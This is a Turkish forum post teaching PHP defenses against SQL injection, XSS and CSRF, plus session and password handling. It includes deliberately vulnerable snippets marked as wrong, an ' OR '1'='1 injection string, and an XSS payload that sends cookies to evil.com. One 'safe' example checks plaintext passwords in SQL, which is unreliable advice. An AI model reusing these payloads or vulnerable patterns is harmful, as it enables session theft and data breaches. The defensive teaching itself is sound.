![]() |
|
||||||
| Web Programlama Bir web programlama dili ve veritabanı ile dinamik içerikli web siteleri yapmayı amaçlar. |
| ||
|
|
LinkBack | Seçenekler | Stil |
|
|
#1 |
|
Çevrimiçi
|
PHP Güvenlik Duvarı: SQL Injection, XSS, CSRF Tam Koruma Rehberi (2026 Güncel)
PHP ile web geliştiriyorsanız bu üç saldırı türünü mutlaka bilmeniz gerekiyor. Her biri gerçek sitelerden veri çalmak veya sunucu ele geçirmek için aktif olarak kullanılıyor. ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ SALDIRI TÜRLERİNE GENEL BAKIŞ
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 1. SQL INJECTION KORUMASI SQL Injection Nedir? Saldırgan, forma girdiği özel karakterlerle SQL sorgusunu kırar ve veritabanınıza doğrudan komut çalıştırır. Tablolar silinebilir, tüm kullanıcı bilgileri çekilebilir, admin şifreleri ele geçirilebilir. YANLIŞ — Savunmasız Kod: Kod:
<?php // KESİNLİKLE KULLANMAYIN — SQL Injection açığı var $username = $_POST['username']; $query = "SELECT * FROM users WHERE username = '$username'"; $result = mysqli_query($conn, $query); // Saldırgan ' OR '1'='1 girerse tüm kullanıcılar listelenir! ?> Kod:
<?php
// GÜVENLİ — Parametrik sorgu (Prepared Statement)
$pdo = new PDO('mysql:host=localhost;dbname=sitem', $user, $pass, [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
PDO::ATTR_EMULATE_PREPARES => false,
]);
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$_POST['username'], $_POST['password']]);
$user = $stmt->fetch();
?>
Kod:
<?php
$mysqli = new mysqli('localhost', 'user', 'pass', 'dbname');
$stmt = $mysqli->prepare("SELECT id, email FROM users WHERE username = ?");
$stmt->bind_param("s", $_POST['username']);
$stmt->execute();
$result = $stmt->get_result();
$user = $result->fetch_assoc();
$stmt->close();
?>
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 2. XSS (CROSS-SITE SCRIPTING) KORUMASI XSS Nedir? Saldırgan yorum kutusuna veya profil alanına zararlı JavaScript kodu yazar. Sayfa bu kodu çıktılarken çalıştırır. Ziyaretçilerin çerezleri çalınabilir, oturumları ele geçirilebilir. YANLIŞ — Doğrudan Çıktı: Kod:
<?php // TEHLİKELİ — kullanıcı verisi filtresiz ekrana basılıyor echo "Merhaba " . $_GET['name']; // Saldırgan ?name=<script>document.location='http://evil.com?c='+document.cookie</script> girer ?> Kod:
<?php
function xss($data): string {
return htmlspecialchars((string)$data, ENT_QUOTES | ENT_HTML5, 'UTF-8');
}
echo "Merhaba " . xss($_GET['name']);
echo "<p>" . xss($user['bio']) . "</p>";
echo "<input value='" . xss($user['city']) . "'>";
?>
Kod:
<?php
header("Content-Security-Policy: default-src 'self'; script-src 'self';");
header("X-XSS-Protection: 1; mode=block");
header("X-Content-Type-Options: nosniff");
header("X-Frame-Options: SAMEORIGIN");
header("Referrer-Policy: strict-origin-when-cross-origin");
?>
Kod:
<?php require_once 'HTMLPurifier.auto.php'; $config = HTMLPurifier_Config::createDefault(); $purifier = new HTMLPurifier($config); $temiz = $purifier->purify($_POST['yorum']); echo $temiz; ?>
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 3. CSRF (CROSS-SITE REQUEST FORGERY) KORUMASI CSRF Nedir? Kullanıcı sitenize giriş yapmış durumdayken başka bir zararlı siteyi açar. O site arka planda sizin sitenize istek gönderir. Tarayıcı oturum çerezini otomatik ekler, sunucu isteği gerçekmiş gibi işler. Şifre değiştirme, içerik silme gibi işlemler kullanıcının bilgisi olmadan yapılabilir. DOĞRU — CSRF Token Sistemi (Tam Örnek): Kod:
<?php
session_start();
function csrf_token(): string {
if (empty($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
return $_SESSION['csrf_token'];
}
function csrf_verify(): void {
$token = $_POST['csrf_token'] ?? '';
if (!hash_equals($_SESSION['csrf_token'] ?? '', $token)) {
http_response_code(403);
die('Güvenlik hatası: CSRF token geçersiz.');
}
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
// Formda kullanım:
// <input type="hidden" name="csrf_token" value="<?= csrf_token() ?>">
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
csrf_verify(); // ilk satır olmalı
// ... diğer işlemler
}
?>
Kod:
// JavaScript — token meta tag'dan alınır
// <meta name="csrf-token" content="<?= csrf_token() ?>">
const token = document.querySelector('meta[name="csrf-token"]').content;
fetch('/api/islem.php', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': token
},
body: JSON.stringify({ id: 5 })
});
Kod:
<?php
// PHP tarafı — header'dan token doğrula
$token = $_SERVER['HTTP_X_CSRF_TOKEN'] ?? '';
if (!hash_equals($_SESSION['csrf_token'] ?? '', $token)) {
http_response_code(403);
die(json_encode(['error' => 'CSRF token hatası']));
}
?>
Kod:
<?php
session_start();
session_set_cookie_params([
'lifetime' => 0,
'path' => '/',
'secure' => true,
'httponly' => true,
'samesite' => 'Strict'
]);
?>
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ BONUS: OTURUM VE ŞİFRE GÜVENLİĞİ Güvenli Oturum Yönetimi: Kod:
<?php
session_start();
session_regenerate_id(true); // Giriş sonrası zorunlu
$timeout = 1800; // 30 dakika
if (isset($_SESSION['son_aktivite']) && (time() - $_SESSION['son_aktivite']) > $timeout) {
session_unset();
session_destroy();
header('Location: /login.php');
exit;
}
$_SESSION['son_aktivite'] = time();
?>
Kod:
<?php
// Kayıt
$hash = password_hash($_POST['password'], PASSWORD_BCRYPT, ['cost' => 12]);
// Doğrulama
if (password_verify($_POST['password'], $hash_from_db)) {
if (password_needs_rehash($hash_from_db, PASSWORD_BCRYPT, ['cost' => 12])) {
$yeni_hash = password_hash($_POST['password'], PASSWORD_BCRYPT, ['cost' => 12]);
// Veritabanını güncelle
}
}
// ASLA: md5(), sha1(), base64_encode() ile şifre saklamayın
?>
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ HIZLI KONTROL LİSTESİ
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ Referanslar: OWASP Top 10 (2021), PHP 8.2 Docs, NIST SP 800-63b. Test ortamı: PHP 8.2 / MariaDB 10.6 / Apache 2.4. Benzer Konular:
![]() Fallen code. Broken systems. No mercy. Konu DEKO tarafından (23 Nisan 2026 Saat 21:43 ) değiştirilmiştir. |
| Yer İmleri |
| Konuyu 1 kişi okuyor: (0 üye ve 1 misafir) | |
|
|
| Forum | Bilgilendirme | Künye |
|
Powered by vBulletin® Version 3.8.11 Copyright ©2000 - 2026, vBulletin Solutions Inc. Forum Sahibi: Dea Dia ve Gece |
Sitemiz; yer sağlayıcı bir forum sitesidir. Forumel.Com adresimizde yapılan paylaşımlar, moderasyon ekibimizin onayına dahil olmadan direkt olarak yayınlanmaktadır. 5237 sayılı TCK (Türk Ceza Kanunu) ve 5651 Sayılı Kanun'un ilgili maddelerini ihlal eden kişilerin IP adresleri de dahil olmak üzere sair kişi veya adli mercilere müzekkere (Resmi Üst Yazı), tarafımıza tanzim edildiği takdirde paylaşılacaktır. Hukuka aykırı bir paylaşımın olduğunu düşündüğünüz mesaj ya da konuyu; İLETİŞİM linkine bildirim yoluyla iletebilirsiniz. 48 saat içerisinde mevcut şikâyetiniz üzerinden tarafınıza ulaşılacak, gerekli işlemler tesis edilecektir. |
|